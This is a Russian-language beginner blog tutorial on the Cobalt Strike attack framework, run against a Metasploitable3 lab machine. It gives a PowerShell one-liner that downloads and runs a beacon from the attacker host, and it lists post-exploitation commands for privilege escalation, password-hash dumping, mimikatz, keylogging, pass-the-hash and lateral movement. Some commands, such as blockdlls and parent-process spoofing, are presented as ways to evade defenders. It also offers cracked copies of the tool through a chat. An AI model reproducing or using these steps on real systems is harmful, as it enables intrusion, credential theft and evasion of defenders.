Cobalt Strike

Руководство по Cobalt Strike для самых маленьких. Часть 1

Руководство по Cobalt Strike для самых маленьких. Часть 1

Ты спрашивал что такое Cobalt Strike? Мы тебе расскажем об этом простым языком, с картинками и примерами, буквально “с нуля”. Всё, как ты любишь.

Cobalt Strike, или в простонародье “коба” или “кобальт” – это фреймворк для эксплуатации и постэксплуатации. То есть с его помощью ты сможешь как сформировать полезные нагрузки, так и использовать его для развития атаки, укрепления и контроля над целевой сетью. Как пишут сами разработчики, Cobalt – это инструмент, который позволяет мамкиным хакерам действовать как настоящие профи. К слову, именно за его простоту и удобство, этот фрэймворк горячо любим как “рэнсомщиками”, так и крупными APT. Статистика сообщает, что 66% злоумышленников используют именно этот фреймворк. Однако именно благодаря своей популярности, свежие версии “кобы” и его полезных нагрузок моментально попадают в базы антивирусов и поэтому создать действительно “необнаружимую” полезную нагрузку Кобальта весьма затруднительно (а соответственно – дорого).

Но пока не заморачивайся, мы начнём “с азов”. В этом материале ты узнаешь как взаимодействовать с атакуемой машиной, используя Cobalt Strike. Мы постараемся донести до тебя всё коротко, максимально доступно и по существу. Будем предполагать, что у тебя нет лицензионной копии (или кряка), но это не проблема, ведь скачать нужную версию можно у нас в чате @badbclub.

Для тех, кто только начинает осваивать Cobalt Strike, мы настоятельно рекомендуем посетить официальный блог и потратить некоторое время на чтение всей информации там. У нас на сайте можно ознакомиться с переводом официального руководства по эксплуатации.

И ещё немного для тех, кто хочет понимать с чем же имеет дело. С официального веб-сайта: “Cobalt Strike – это программное обеспечение для тестирования на проникновение, которое выполняет целевые атаки и воспроизводит продвинутые угрозы”. Если ты уже знаком с Armitage, то интерфейс Cobalt Strike не должен тебя смутить, но несмотря на общих авторов, между этими двумя продуктами всё же есть огромная разница. Этот замечательный фреймворк предназначен как для эксплуатации и постэксплуатации. В качестве полезной нагрузки используется beacon, с возможностью обфускации и фриза для обхода антивирусов, что, в общем-то, штатными средствами не очень действено. Кобальт отлично поддерживает миграцию в процессы. Отлично подходит и для сервака C2, хочется отметить удобство ориентирования при большом количестве целей. Специально для самых ленивых, по умолчанию “коба” имеет встроенный генератор полезных нагрузок одним кликом и поддерживает различные методы доставки. Ещё не убедился тогда тебе надо попробовать!

Начало работы

В каталоге Cobalt Strike введите следующую команду для запуска team server-а:

./teamserver <IP Address> <password>

10.0.2.15 – это IP-адрес Kali Linux (скачать можно тут), которую мы будем использовать для атаки. Пароль может быть любым, каким вы пожелаете.

Теперь необходимо запустить Cobalt Strike и подключится к тимсерверу:

Host – айпи тимсервера;

Port – порт тимсервера;

User – любое имя;

Password – пароль, который Вы указали при запуске тимсервера (в нашем случае cybersecpassword).

После подключения вам будет представлен пользовательский интерфейс Cobalt Strike, в котором вы сможете взаимодействовать со своими целями и делать другие интересные вещи, но об этом немного позже.

Взлом Windows Server 2008. Создание Listener-ов

Тестировать работу программы будем на Metasploitable3 – это бесплатная виртуальная машина, которая позволяет моделировать атаки в основном с использованием Metasploit. Используется людьми в индустрии безопасности по целому ряду причин: например, для обучения эксплуатации сети, разработки эксплойтов, тестирования программного обеспечения, технических собеседований при приеме на работу и тд. Скачать можно тут или тут.

Взлом начнем с создания listener-а, для этого во вкладке Cobalt Strike выбираем Listeners:

После нажатия, рядом с вкладкой Event Log откроется еще одна, в которой можно управлять и создавать listener-ы:

Нажимаем Add и в появившемся окне настраиваем новый listener:

На выбор доступно несколько пейлоадов:

HTTP/HTTPS – самые основные полезные нагрузки для beacon, по умолчанию будут прослушивать порты 80 и 443 с возможностью установки пользовательских портов. У вас есть возможность настроить параметры прокси-сервера, настроить заголовок HTTP или указать порт для перенаправления трафика маяка.

DNS – очень скрытая полезная нагрузка, обеспечивает более скрытый трафик по протоколу dns, вам необходимо указать DNS-сервер для подключения. Лучшая ситуация для использования прослушивателя такого типа – заблокированная среда, которая блокирует даже обычный трафик, такой как порты 80 и 443.

TCP – базовый реверс шелл tcp, привязанный к определенному порту. Нечто похожее мы писали в этой статье.

SMB – потрясающая опция для внутреннего распространения и бокового перемещения, эта полезная нагрузка использует именованные каналы по протоколу smb и является лучшим подходом для обхода брандмауэров, когда даже порты по умолчанию, такие как 80 и 443, занесены в черный список.

Foreign HTTP/HTTPS – эти типы прослушивателей предоставляют нам возможность передавать сеанс из платформы metasploit в cobalt strike с использованием полезных нагрузок http или https. Примером является выполнение модуля эксплойта из metasploit, а получение сеанса в cobalt strike.

External C2 – это особый тип прослушивателя, который дает возможность сторонним приложениям выступать в качестве средства связи для маяка.

Для тестов нам хватит стандартного пейлоада http, его и оставляем. В поле Name можете вписать любое имя для этого прослушивателя, в HTTP Hosts указываем айпи атакующей машины, в нашем случае это 10.0.2.15, в поле Port оставляем значение “80” и нажимаем Save.

Если Вы всё сделали правильно, Cobalt Strike сообщит вам, о том, что listener был запущен:

Во вкладке Listeners Вы сможете найти все созданные прослушиватели, а также сможете ими управлять:

Взлом Windows Server 2008. Доставка полезной нагрузки

После создания listener-а нам необходимо доставить полезную нагрузку, сделать это можно во вкладке Attacks -> Web Drive-by -> Scripted Web Delivery, предварительно выбрав нужный из прослушивателей:

Эта функция предоставит нам однострочный скрипт PowerShell для запуска на хосте-жертве:

URL Path – путь в веб-сервере, где будет хранится пейлоад;

Local Host – айпи атакующей машины;

Local Port – порт, на котором будет запущен веб-сервер (выбираем любой порт, кроме 80, ведь на 80 у нас запущен листенер, который ожидает соединения с атакуемой машиной);

Listener – выбираем нужный листенер из списка;

Type – доступны следующие параметры:

Опция bitsadmin размещает исполняемый файл и использует bitsadmin для его загрузки. Метод bitsadmin запускает исполняемый файл через cmd.exe.

Опция exe генерирует исполняемый файл и размещает его на веб-сервере Cobalt Strike.

Параметр powershell содержит сценарий PowerShell и использует powershell.exe чтобы загрузить скрипт и запустить его.

Параметр powershell IEX аналогично предыдущему варианту, но предоставляет более короткую однострочную команду для выполнения вызова, которую можно вставить в консоль PowerShell.

Опция python содержит скрипт Python и использует python.exe чтобы загрузить скрипт и запустить его.

Каждый из этих вариантов представляет собой отдельный способ запуска прослушивателя Cobalt Strike.

В конце настройки нажимаем Lauch, если Вы всё сделали правильно, то появится окно с командой (и сообщение в консоли), её необходимо запустить на атакуемой машине:

powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://10.0.2.15:4444/a’))”

Запускаем команду на атакуемой машине и через несколько секунд у нас появляется сессия на главной страннице Cobalt Strike:

С помощью верхнего меню, мы можем менять вид отображения целей. Здесь также следует отметить еще одну вещь: молнии и * (звездочка) сразу после имени пользователя. Это означает, что у нас есть максимальные права:

Взлом Windows Server 2008. Взаимодействие с целью

Когда beacon “кобальта” был запущен, мы получили доступ к системе, но что дальше? А дальше следует повышение прав и дамп паролей пользователей!

Нажав ПКМ по цели, мы видим меню, в глаза сразу бросается кнопка Interact, она позволяет получить доступ к “консоли” beacon-а:

Тут мы можем вводить стандартные (и не только) команды ОС, а beacon пришлёт нам их ответ:

Список стандартных команд beacon-а:

help – список доступных команд;

help <module> – показать меню справки выбранного модуля;

jobs – перечислите выполняемые задания beacon;

jobkill <id> – “убить” указанный процесс;

run – выполнение команд операционной системы с помощью вызовов Win32 API;

shell: Выполнение команд операционной системы путем создания “cmd.exe /с”;

powershell – выполнение команд путем создания “powershell.exe”;

powershell-import – импорт локального модуля powershell в текущем процессе “маяка”;

powerpick – выполнение команд powershell без появления “powershell.exe”, используя только библиотеки и сборки .net (обходит AMSI и CLM);

drives – список текущих системных дисков;

getuid – получить идентификатор текущего пользователя;

sleep – установите интервал обратного вызова маяка;

ps – список процессов;

cd – измените каталог;

cp – скопируйте локальный файл в другое локальное расположение;

download/upload – загрузите файл и загрузите локальный файл;

download C:\Users\victim\Documents\passwords.csv

upload /home/Cybersec/NotMalware/youvebeenhacked.txt

cancel – отмена загрузки файла;

reg – запрос в реестре;

spawn – создаёт новый маяк на текущей машине, Вы можете выбрать любой тип слушателя, который вам нужен;

spawn [x86|x64] [listener]

spawnas – создаёт новый маяк на текущей машине в качестве другого пользователя, предоставив учетные данные (сравнить можно с командой su в линуксе);

spawnas [DOMAIN\user] [password] [listener]

spawnto – задает исполняемый файл, который beacon будет использовать для создания и ввода в него шелл-кода для его функциональности после эксплуатации. Вы должны указать полный путь к исполняемому файлу;

spawnto [x86|x64] [c:\path\to\whatever.exe]

spawnu – попытка создать сеанс с поддельным PID в качестве родительского, контекст процесса будет соответствовать идентификатору указанного PID;

spawnu [pid] [listener]

argue – Будет маскировать/подменять аргументы выбранной вредоносной команды указанными аргументами;

blockdlls – этот модуль создаст и установит пользовательскую политику для дочерних процессов beacon, которая заблокирует внедрение любой сторонней библиотеки dll, не подписанной корпорацией Майкрософт, таким образом, мы сможем заблокировать любой инструмент blue team, который использует внедрение библиотеки dll для проверки и уничтожения вредоносных процессов и действий.

blockdlls [start|stop]

Команды для повышения прав:

elevate – содержит множество способов повышения ваших привилегий до администратора или SYSTEM с помощью эксплойтов ядра и обходов UAC;

elevate [exploit] [listener]

elevate juicypotato Cybersec_HTTP_ReverseShell

elevate ms16-032 Cybersec_HTTP_ReverseShell

getsystem – пытается выдать себя за систему, если это не удается, мы можем использовать steal_token, чтобы украсть токен у процесса, который работает от имени SYSTEM;

getprivs – аналогично функции metasploit, включает все доступные привилегии для текущего токена;

runasadmin – пытается выполнить команду в повышенном контексте администратора или SYSTEM, используя локальное ядро или обход UAC. Разница с elevate заключается в том, что он не создает новый маяк, а выполняет указанное приложение по нашему выбору в новом контексте.

runasadmin [exploit] [command] [args]

runasadmin uac-token-duplication whoami

runasadmin uac-cmstplua whoami

browserpivot – захватит веб-сеанс Internet Explorer и позволит нам просматривать веб-страницы в качестве браузера жертвы, включая его сеансы, файлы cookie и сохраненные пароли;

dcsync – позволяет осуществить атаку DCsync с помощью Mimikatz (подробнее тут и тут, там же можно узнать про несколько других приёмов, которые использует Cobalt);

dcsync [DOMAIN.fqdn] [DOMAIN\user]

desktop – внедрит сервер VNC в процесс маяка;

desktop [pid] [x86|x64] [high|low]

dllinject/dllload – внедряет библиотеку dll в процесс (подробнее тут и тут, там же можно узнать про несколько других приёмов, которые использует Cobalt);

execute-assembly – загружает и выполняет исполняемый файл скомпилированной сборки .NET полностью в памяти;

execute-assembly [/path/to/local/.NET] [arguments]

inject – внедрить полезную нагрузку маяка в указанный процесс и создать новый сеанс маяка в контексте его безопасности;

inject [pid] [x86|x64] [listener]

kerberos* – управление билетами kerberos;

ppid – подменяет родительский процесс маяка для любого задания по порождению потомков после эксплуатации. Таким образом, мы сможем скрыть наши злонамеренные задания после эксплуатации;

psinject – выполните инъекцию в указанный процесс и выполните команду, используя функциональность powerpick. Доступны модули Powershell, импортированные с помощью powershell-импорта;

runu – выполните команду под поддельным идентификатором процесса;

shinject – внедрите шелл-код в другой запущенный процесс;

shspawn – создайте новый процесс и вставьте в него шелл-код;

shspawn [x86|x64] [/path/to/my.bin]

hashdump – позволяет сдампить NTLM хэши (дампит учетные данные пользователей локальной машины);

keylogger – будет фиксировать нажатия клавиш указанного процесса и сохранять их в базе данных;

keylogger [pid] [x86|x64]

screenshot – захватит экран текущего процесса и сохранит его в базе данных;

screenshot [pid] [x86|x64] [run time in seconds]

logonpassword – выполняет хорошо известную функцию logonpasswords mimikatz на текущей машине. Эта функция, конечно, использует инъекцию процесса, поэтому она небезопасна для OPSEC, используйте ее с осторожностью;

mimikatz – вы можете выполнять любую функцию mimikatz, функциональность драйвера mimikatz не включена;

portscan: сканирует порты указанной цели;

portscan [ip or ip range] [ports]

runas – используя учетные данные, вы можете выполнить команду от имени другого пользователя;

runas [DOMAIN\user] [password] [command] [arguments]

pth – указав имя пользователя и хэш NTLM, вы можете выполнить хэш-атаку и ввести TGT в текущий процесс (для этого модуля требуются права администратора);

pth [DOMAIN\user] [hash]

steal_token – позволяет украсть токен у указанного процесса;

jump – обеспечивает простой и быстрый способ перемещения в сети с помощью winrm или psexec для создания нового сеанса маяка на цели. Модуль перехода будет использовать текущий токен для аутентификации на удаленной цели. Мы можем объединить модуль перехода с модулем make_token или pth для быстрого “перехода” к другой цели в сети;

jump [psexec64,psexec,psexec_psh,winrm64,winrm] [server/workstation] [listener]

jump psexec64 DC01 Cybersec_HTTP_ReverseShell

jump winrm WS04 Cybersec_HTTP_ReverseShell

jump psexec_psh WS01 Cybersec_HTTP_ReverseShell

remoteexec – выполните команду на удаленной цели с помощью psexec, winrm или wmi. Модуль удаленного исполнителя будет использовать текущий токен делегирования/олицетворения для аутентификации на удаленном целевом объект;

remote-exec [method] [target] [command]

ssh/ssh-key – аутентификация с помощью ssh с паролем или закрытым ключом. Работает как для хостов Linux, так и для Windows. Это дает вам базовую функциональность ssh с некоторыми дополнительными модулями последующей эксплуатации.

Рассматривая меню, мы увидим вкладку Access, в которой есть функция дампа хешированных паролей:

Эти хеши в любой момент можно посмотреть в верхней вкладке Credentials:

Дальше по списку Elevate, эта функция позволяет получить права системы используя несколько методов:

Выбираем эксплоит и листенер, после чего нажимаем Launch:

Если всё сработало, у нас создастся новый “маяк”, но юзер будет с максимальными правами, нажимаем Interact и можем выполнять любую команду в скомпрометированной системе:

Вывод команды shell whoami:

Мы также можем запустить Mimikatz (подробнее тут и тут, там же можно узнать про несколько других приёмов, которые использует Cobalt):

Продолжая смотреть меню, мы можем наткнутся на функцию File Browser, не сложно догадаться, что она делает:

В конце хочется показать возможность внедрения VNC:

Подключение происходит не сразу, но не стоит беспокоится, спустя несколько попыток “кобальт” создаст сессию, и вы сможете наблюдать за экраном скомпрометированной системы:

Если вы хотите управлять системой через VNC, то стоит отключить режим ViewOnly в нижней панели:

Итоги

Cobalt Strike – это профссиональный, но простой и доступный (если есть кряк) начинающему юзеру инструмент, дети будут пищать от восторга, это же круче чем их любимый “ДаркКомет” : ). Гуишная оболочка очень удобная и наглядная, можно поднять права буквально за два-три нажатия.

P.S. Кстати, совсем недавно появилась новая версия 4.4…

ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ. НАПОМИНАЕМ, ЧТО СКАНИРОВАТЬ МОЖНО ТОЛЬКО СВОИ СОБСТВЕННЫЕ СИСТЕМЫ ИЛИ ТЕ, НА СКАНИРОВАНИЕ КОТОРЫХ ВЫ ПРЕДВАРИТЕЛЬНО ПОЛУЧИЛИ РАЗРЕШЕНИЕ. ОПИСАННЫЕ В СТАТЬЕ ИНСТРУМЕНТЫ ИСПОЛЬЗУЮТСЯ ПРОФЕССИОНАЛАМИ ДЛЯ ПРОВЕДЕНИЯ ТЕСТОВ НА ПРОНИКНОВЕНИЕ ПО ВСЕМУ МИРУ. МЫ НЕ РЕКОМЕНДУЕМ ВАМ ИСПОЛЬЗОВАТЬ ИХ ДЛЯ СКАНИРОВАНИЯ ЧУЖИХ СИСТЕМ.

f4r6er
f4r6er Script kiddie, red teamer, Python lover.

Leave a Reply

Your email address will not be published. Required fields are marked *